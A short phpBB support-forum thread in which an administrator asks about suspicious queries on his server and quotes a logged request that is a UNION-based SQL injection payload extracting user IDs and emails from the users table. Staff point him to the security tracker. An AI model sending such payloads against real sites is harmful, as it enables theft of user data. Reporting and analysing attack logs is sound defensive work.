Where is this query form

Get help with installation and running phpBB 3.0.x here. Please do not post bug reports, feature requests, or MOD-related questions here.
Ideas Centre
Forum rules
END OF SUPPORT: 1 January 2017 (announcement)
Locked
Ciao121
Registered User
Posts: 239
Joined: Wed Jan 28, 2004 1:08 pm

Where is this query form

Post by Ciao121 »

Hi,
today I have an high load on my server and I saw many queries like this one:
"SELECT forum_id FROM phpbb_posts where post_id=5192068 and 5=6 union select concat....."
Seems a strange query to me (what does it means "5=6"?)... :shock:
Apri il tuo forum gratuito in 1 minuto.

Ciao121
Registered User
Posts: 239
Joined: Wed Jan 28, 2004 1:08 pm

Re: Where is this query form

Post by Ciao121 »

Found an http call like this:
"GET /viewtopic.php?p=5192068%20and%205=6%20union%20select%20concat(0x5E252421,ifnull(`user_id`,0x4E554C4C),char(9),ifnull(`user_email`,0x4E554C4C),char(9),0x2A5B7D2F)%20from%20`phpbb`.`phpbb_users`%20limit%20255769,1%20%20-- HTTP/1.1"

What is this "user" trying to do???
Apri il tuo forum gratuito in 1 minuto.

User avatar
Brf
Support Team Member
Support Team Member
Posts: 51939
Joined: Tue May 10, 2005 7:47 pm
Location: {postrow.POSTER_FROM}
Contact:

Re: Where is this query form

Post by Brf »

Please repost this on the security tracker: http://www.phpbb.com/security/phpbb3/

Locked

Return to “[3.0.x] Support Forum”